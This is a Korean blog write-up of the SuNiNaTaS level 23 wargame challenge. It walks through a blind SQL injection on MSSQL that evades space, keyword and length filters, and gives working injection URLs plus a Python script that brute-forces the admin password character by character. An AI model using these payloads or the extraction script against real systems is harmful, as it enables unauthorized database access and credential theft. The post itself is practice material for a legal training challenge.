webhacking/sql, sql injection

suninatas level 23

qkqhxla1 2014. 10. 30. 18:27

level 22는 23이랑 똑같은데 더 쉬우므로 그냥 안씀...


22와 달리 admin이 필터링되있고, 거기다가 길이제한도 있는데, mysql이 아니라 mssql이라 


꽤 오래 걸림....


공백 필터링, 그리고 아래 필터링된다고 써져있는것들 필터링, 길이제한까지 되있다.


최대한 길이를 줄여가며 인젝션. admin이 필터링되어있길래 mysql에서는 'a' 'dmin'같이 하면 되서


해봤는데 안된다. 귀찮아서 안찾다가 찾아보니 'a'+'dmin'처럼 +로 붙여줄수 있어서 이렇게 해봤는데


이번엔 길이제한에 걸린다. 이리저리 해보다가 다 안되서 그냥 admin을 포기하고 해보기로 했는데


된다.


id=' or len(pw)>10-- &pw=guest 처럼 해봤는데 OK admin이 나온다.... len(pw)<999처럼 하면


guest와 admin이 둘다 true가 되지만 OK guest만 출력되는거 보면 guest가 테이블의 위쪽에


있는것 같다. 어쨋든 guest의 비밀번호길이는 5글자(guest)이므로 len(pw)>6 이런식으로 길이를


키워나가다 길이가 12자라는걸 발견했다.


길이.

http://suninatas.com/Part_one/web23/web23.asp?id=%27%0aor%0alen(pw)%3E11--&pw=guest


이제 쿼리를 짜면 된다. substring가 필터링되어있으므로 left,right를 쓰면 된다.


http://suninatas.com/Part_one/web23/web23.asp?id=%27%0aor%0aright(left(pw,1),1)=%27v%27--&pw=guest


처럼 하면 OK admin이 출력되어 admin의 비밀번호 첫글자는 v라는걸 알 수 있다.


처음에는 일반적인 mysql의 블라인드 인젝션처럼 right(left(pw,1),1)한 값을 아스키코드값으로 만들어서


32~128범위로 돌리려고 했다. 근데 위의 쿼리에서 id에 한 글자라도 더 들어가면 no hack이 뜬다.


길이 제한에 걸렸기 때문이다. 그래서 그냥 저런식으로 쿼리를 놓고 코드를 짰다.


근데 pw길이가 12라서; 10번째,11번째 12번째 문자열을 구할땐 right(left(10,1),1)등으로 되는데,


또 길이제한에 걸려서 10,11,12번째값이 안 나왔다. 


스페이스를 하나 뺀 이런 쿼리로 돌렸다.


http://suninatas.com/Part_one/web23/web23.asp?id=%27or%0aright(left(pw,1),1)=%27v%27--&pw=guest


잘 보면 알겠지만 첫번째 %27다음에 %0a가 사라졌음.


코드를 짜면.



import urllib2

answer = ''
for j in range(1,13):
    for i in range(0,128):
        print j,i,answer
        req = urllib2.Request('http://suninatas.com/Part_one/web23/web23.asp?id=%27or%0aright(left(pw,'+str(j)+'),1)=%27'+chr(i)+'%27--&pw=guest')
        req.add_header('cookie','ASPSESSIONIDQSTDACTR=쿠키')
        try:
            read = urllib2.urlopen(req).read()
            if read.find('color=blue>admin') != -1:
                print chr(i)
                answer += chr(i)
                break
        except:
            pass

print answer


검사하는 부분을 try, except로 짠건 쿼리가 에러가 발생하는 경우가 있는데(아스키코드 32같은게 


들어갔을 경우 서버측에서 이상한 코드로 인식되어 400,404등 에러가 발생함.) 그 경우까지 피해가기


위함이다. 그리고 돌리면 값이 나오는데 값은 참고로 소문자+숫자이다.(q&a게시판에서 발견)

'webhacking > sql, sql injection' 카테고리의 다른 글

chall.tasteless.se Stop Quotes  (0) 2014.11.21
chall.tasteless.se Milk  (0) 2014.11.21
suninatas level 6  (0) 2014.10.30
webhacking.kr 22  (0) 2014.10.23
webhacking.kr 21  (0) 2014.10.23